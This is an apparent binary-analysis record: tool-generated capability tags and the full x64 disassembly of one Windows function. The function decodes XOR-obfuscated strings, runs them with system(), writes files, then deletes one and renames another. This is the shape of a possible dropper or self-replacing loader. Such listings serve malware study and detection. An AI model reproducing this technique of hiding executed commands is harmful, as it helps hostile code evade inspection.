Function at 0x14005af10
Capabilities:
Delete file
Encode data using xor
Execute command
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2e0]
sub rsp, 0x3e0
mov rax, qword [0x1401c7c00]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
xor r12d, r12d
mov dword [rsp + 0x40], r12d
mov byte [rsp + 0x48], 0xf3
mov byte [rsp + 0x49], 0xff
mov byte [rsp + 0x4a], 0xed
mov byte [rsp + 0x4b], 0x99
movzx eax, byte [rsp + 0x48]
mov r9d, r12d
movabs r11, 0x5f74af694a105599
mov r10, r11
lea rax, [rsp + 0x48]
sub r10, rax
mov r15d, reloc.WS2_32.dll_ntohs
nop word [rax + rax]
lea r8, [rsp + 0x48]
add r8, r9
mov rcx, r9
and ecx, r15d
cmp rcx, r15
cmovae rcx, r15
shl cl, 2
mov rdx, r11
shr rdx, cl
and dl, r15b
lea eax, [r10 + r8]
xor dl, al
movzx eax, byte [r8]
xor dl, al
mov byte [rsp + r9 + 0x48], dl
inc r9
cmp r9, 4
jb 0x14005af90
lea rcx, [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rax
mov byte [rsp + 0x40], 0x81
mov byte [rsp + 0x41], Ordinal_143
mov byte [rsp + 0x42], reloc.WLDAP32.dll_Ordinal_143
mov byte [rsp + 0x43], Ordinal_143
mov byte [rsp + 0x44], 0x87
mov byte [rsp + 0x45], Ordinal_143
mov byte [rsp + 0x46], 0xb3
movzx eax, byte [rsp + 0x40]
mov r9, r12
movabs rbx, 0xb51e6834f4e3ecb1
mov r10, rbx
lea rax, [rsp + 0x40]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
lea r8, [rsp + 0x40]
add r8, r9
mov rcx, r9
and ecx, r15d
cmp rcx, r15
cmovae rcx, r15
shl cl, 2
mov rdx, rbx
shr rdx, cl
and dl, r15b
lea eax, [r10 + r8]
xor dl, al
movzx eax, byte [r8]
xor dl, al
mov byte [rsp + r9 + 0x40], dl
inc r9
cmp r9, 7
jb 0x14005b030
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
lea rax, [rsp + 0x40]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x14005b090
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x58]
call fcn.140049840
lea r8, [rsp + 0x58]
lea rdx, [rbp + 0x50]
lea rcx, [0x1401c8680]
call fcn.14006d320
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], rax
mov byte [rsp + 0x40], 0x89
mov byte [rsp + 0x41], Ordinal_143
mov byte [rsp + 0x42], 0x8a
mov byte [rsp + 0x43], Ordinal_143
mov byte [rsp + 0x44], 0x86
mov byte [rsp + 0x45], 0x89
mov byte [rsp + 0x46], 0xb3
movzx eax, byte [rsp + 0x40]
mov r9, r12
mov r10, rbx
lea rax, [rsp + 0x40]
sub r10, rax
lea r8, [rsp + 0x40]
add r8, r9
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rdx, rbx
shr rdx, cl
and dl, 0xf
lea eax, [r10 + r8]
xor dl, al
movzx eax, byte [r8]
xor dl, al
mov byte [rsp + r9 + 0x40], dl
inc r9
cmp r9, 7
jb 0x14005b101
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x70], r12
lea rax, [rsp + 0x40]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14005b155
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x78]
call fcn.140049840
lea r8, [rsp + 0x78]
lea rdx, [rbp + 0x18]
lea rcx, [0x1401c8680]
call fcn.14006d320
nop
mov r8, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x18]
cmp r8, qword [rbp + 0x58]
je 0x14005bd97
cmp rcx, qword [rbp + 0x20]
je 0x14005bd97
mov byte [rsp + 0x40], reloc.WLDAP32.dll_Ordinal_30
mov byte [rsp + 0x41], 0x5c
mov byte [rsp + 0x42], 0x40
mov byte [rsp + 0x43], 0x5f
mov byte [rsp + 0x44], Ordinal_50
movzx eax, byte [rsp + 0x40]
mov r9, r12
movabs r11, 0xd7e3ec9e711d6339
mov r10, r11
lea rax, [rsp + 0x40]
sub r10, rax
nop word [rax + rax]
lea r8, [rsp + 0x40]
add r8, r9
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rdx, r11
shr rdx, cl
and dl, 0xf
lea eax, [r10 + r8]
xor dl, al
movzx eax, byte [r8]
xor dl, al
mov byte [rsp + r9 + 0x40], dl
inc r9
cmp r9, 5
jb 0x14005b1e0
mov edx, 0xa
lea rcx, [rbp - 0x48]
call fcn.140058e60
mov rbx, rax
mov byte [rsp + 0x48], 0xac
mov byte [rsp + 0x49], 0xfd
movzx ecx, byte [rsp + 0x48]
mov r9, r12
movabs r13, 0xf286c1a95bd8b7f1
mov r10, r13
lea rax, [rsp + 0x48]
sub r10, rax
nop dword [rax]
nop dword [rax + rax]
lea r8, [rsp + 0x48]
add r8, r9
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rdx, r13
shr rdx, cl
and dl, 0xf
lea eax, [r10 + r8]
xor dl, al
movzx eax, byte [r8]
xor dl, al
mov byte [rsp + r9 + 0x48], dl
inc r9
cmp r9, 2
jb 0x14005b260
mov rdx, qword [0x1401c85c8]
lea rax, [rsp + 0x48]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14005b2b0
movabs rsi, 0x7fffffffffffffff
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x14005be52
lea r14, [0x1401c85b8]
mov r9, r14
cmp qword [0x1401c85d0], 0xf
cmova r9, qword [0x1401c85b8]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, r14
movzx edx, byte [rsp + 0x48]
lea rcx, [rsp + 0x78]
call fcn.14004bd00
nop
mov r9, rbx
lea r8, [rsp + 0x78]
movzx edx, byte [rsp + 0x48]
lea rcx, [rsp + 0x58]
call fcn.14004bb10
mov ebx, 6
lea rax, [rsp + 0x40]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14005b340
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x58]
call fcn.140057140
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r12
mov qword [rbp + 0x10], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 8], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov byte [rax], 0
or ebx, 8
mov dword [rsp + 0x40], ebx
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14005b3c9
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b3c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005b3c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7b60
movdqa xmm0, xmmword [0x1400f4c40]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x14005b423
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b416
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005b416
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7b60
movdqa xmm0, xmmword [0x1400f4c40]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x14005b473
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b466
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005b466
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7b60
movdqa xmm0, xmmword [0x1400f4c40]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
mov byte [rsp + 0x48], 0x9c
mov byte [rsp + 0x49], 0xa7
mov byte [rsp + 0x4a], 0xae
mov byte [rsp + 0x4b], 0xa9
mov byte [rsp + 0x4c], 0xa5
mov byte [rsp + 0x4d], 0xbb
mov byte [rsp + 0x4e], 0xb9
mov byte [rsp + 0x4f], 0xbb
mov byte [rsp + 0x50], 0xbd
mov byte [rsp + 0x51], 0xfb
mov byte [rsp + 0x52], 0xa8
mov byte [rsp + 0x53], 0xa0
mov byte [rsp + 0x54], 0xa5
mov byte [rsp + 0x55], Ordinal_217
movzx eax, byte [rsp + 0x48]
mov r9, r12
movabs r11, 0x3013d87ae4cc08c9
mov r10, r11
lea rax, [rsp + 0x48]
sub r10, rax
nop
lea r8, [rsp + 0x48]
add r8, r9
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rdx, r11
shr rdx, cl
and dl, 0xf
lea eax, [r10 + r8]
xor dl, al
movzx eax, byte [r8]
xor dl, al
mov byte [rsp + r9 + 0x48], dl
inc r9
cmp r9, 0xe
jb 0x14005b4e0
mov rdx, qword [0x1401c85c8]
lea rax, [rsp + 0x48]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14005b530
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x14005be58
mov r9, r14
cmp qword [0x1401c85d0], 0xf
cmova r9, qword [0x1401c85b8]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, r14
movzx edx, byte [rsp + 0x48]
lea rcx, [rbp + 0x30]
call fcn.14004bd00
or dword [rsp + 0x40], 0x10
mov byte [rsp + 0x48], 0xac
mov byte [rsp + 0x49], 0xfd
movzx eax, byte [rsp + 0x48]
mov r9, r12
mov r10, r13
lea rax, [rsp + 0x48]
sub r10, rax
lea r8, [rsp + 0x48]
add r8, r9
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rdx, r13
shr rdx, cl
and dl, 0xf
lea eax, [r10 + r8]
xor dl, al
movzx eax, byte [r8]
xor dl, al
mov byte [rsp + r9 + 0x48], dl
inc r9
cmp r9, 2
jb 0x14005b5a2
mov rdx, qword [0x1401c85c8]
lea rax, [rsp + 0x48]
mov rcx, rdi
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14005b5f0
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x14005be5e
mov r9, r14
cmp qword [0x1401c85d0], 0xf
cmova r9, qword [0x1401c85b8]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, r14
movzx edx, byte [rsp + 0x48]
lea rcx, [rbp - 0x68]
call fcn.14004bd00
mov r14d, dword [rsp + 0x40]
or r14d, 0x20
lea rdx, [0x1401c85d8]
cmp qword [0x1401c85f0], 0xf
cmova rdx, qword [0x1401c85d8]
mov r8, qword [0x1401c85e8]
lea rcx, [rbp - 0x68]
call fcn.140057140
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov byte [rax], 0
or r14d, 0x40
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x14005b6db
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b6d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005b6d6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7b60
movdqa xmm0, xmmword [0x1400f4c40]
movdqu xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x68], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1c0]
call sub.VCRUNTIME140.dll_memset
lea rbx, [rbp - 8]
cmp qword [rbp + 0x10], 0xf
cmova rbx, qword [rbp - 8]
lea rax, [0x1400f3b68]
mov qword [rbp + 0x1c0], rax
lea rcx, [rbp + 0x268]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or r14d, 1
mov dword [rsp + 0x40], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1c0], rax
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x1bc], edx
lea rcx, [rbp + 0x1c8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x1c8], rax
mov byte [rbp + 0x244], 0
mov byte [rbp + 0x239], 0
lea rcx, [rbp + 0x1c8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x248], r12
mov rax, qword [0x1401c9070]
mov qword [rbp + 0x23c], rax
mov qword [rbp + 0x230], r12
mov r9d, 0x40
mov r8d, Ordinal_35
mov rdx, rbx
lea rcx, [rbp + 0x1c8]
call fcn.140060910
test rax, rax
jne 0x14005b816
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1c0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1c0], rax
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x1bc], edx
cmp qword [rbp + 0x248], 0
je 0x14005bc50
mov r8, qword [rbp + 0x58]
mov rdx, qword [rbp + 0x50]
sub r8, rdx
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x1c8]
call fcn.140058200
test rax, rax
jne 0x14005b8a2
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1c0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xb0]
call sub.VCRUNTIME140.dll_memset
lea rbx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rbx, qword [rbp + 0x30]
lea rax, [0x1400f3b68]
mov qword [rbp + 0xb0], rax
lea rcx, [rbp + 0x158]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
bts r14d, 7
mov dword [rsp + 0x40], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], r14
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xb8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0xb8], rax
mov byte [rbp + 0x134], 0
mov byte [rbp + 0x129], 0
lea rcx, [rbp + 0xb8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x138], r12
mov rax, qword [0x1401c9070]
mov qword [rbp + 0x12c], rax
mov qword [rbp + 0x120], r12
mov r9d, 0x40
mov r8d, Ordinal_35
mov rdx, rbx
lea rcx, [rbp + 0xb8]
call fcn.140060910
test rax, rax
jne 0x14005b9cd
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xb0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xb0], r14
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xac], edx
cmp qword [rbp + 0x138], 0
je 0x14005bbfd
mov r8, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x18]
sub r8, rdx
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0xb8]
call fcn.140058200
test rax, rax
jne 0x14005ba52
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xb0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov byte [rsp + 0x48], Ordinal_211
mov byte [rsp + 0x49], 0xfd
movzx eax, byte [rsp + 0x48]
mov r9, r12
mov r10, r13
lea rax, [rsp + 0x48]
sub r10, rax
nop
lea r8, [rsp + 0x48]
add r8, r9
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rdx, r13
shr rdx, cl
and dl, 0xf
lea eax, [r10 + r8]
xor dl, al
movzx eax, byte [r8]
xor dl, al
mov byte [rsp + r9 + 0x48], dl
inc r9
cmp r9, 2
jb 0x14005ba70
lea rax, [rsp + 0x48]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14005bab1
mov rax, qword [rbp + 8]
sub rsi, rax
cmp rsi, rdi
jb 0x14005be4c
lea r9, [rbp - 8]
cmp qword [rbp + 0x10], 0xf
cmova r9, qword [rbp - 8]
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r8, [rbp - 8]
movzx edx, byte [rsp + 0x48]
lea rcx, [rbp - 0x28]
call fcn.14004bd00
nop
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rdx, qword [rbp + 0x30]
mov r8, qword [rbp + 0x40]
lea rcx, [rbp - 0x28]
call fcn.140057140
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x98], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x88], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x98], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov byte [rax], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x14005bb8d
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bb88
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005bb88
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7b60
lea rcx, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0xf
cmova rcx, qword [rbp + 0x88]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 8]
cmp qword [rbp + 0x10], 0xf
cmova rcx, qword [rbp - 8]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0xf
cmova rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rcx, qword [rbp + 0x30]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
lea rcx, [0x1400f3b70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x88]
call fcn.14004cbd0
nop
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xb0], r14
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xb8]
call fcn.14004cb60
lea rcx, [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x158]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x14005bc57
lea r14, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x1c0], r14
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x1bc], edx
lea rcx, [rbp + 0x1c8]
call fcn.14004cb60
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x268]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x14005bcea
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bce5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005bce5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7b60
movdqa xmm0, xmmword [0x1400f4c40]
movdqu xmmword [rbp + 0x78], xmm0
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14005bd39
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bd34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005bd34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7b60
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r15
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x14005bd83
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bd7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005bd7e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7b60
mov qword [rbp + 8], r12
mov qword [rbp + 0x10], r15
mov byte [rbp - 8], 0
mov r8, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x18]
test rcx, rcx
je 0x14005bde0
mov rdx, qword [rbp + 0x28]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bdcb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005bdcb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7b60
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], r12
mov r8, qword [rbp + 0x50]
test r8, r8
je 0x14005be1c
mov rdx, qword [rbp + 0x60]
sub rdx, r8
mov rax, r8
cmp rdx, 0x1000
jb 0x14005be14
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005be14
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r8
call fcn.1400c7b60
mov rcx, qword [rbp + 0x2d0]
xor rcx, rsp
call fcn.1400c7a00
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140052ac0
nop
call fcn.140052ac0
nop
call fcn.140052ac0
nop
call fcn.140052ac0
int3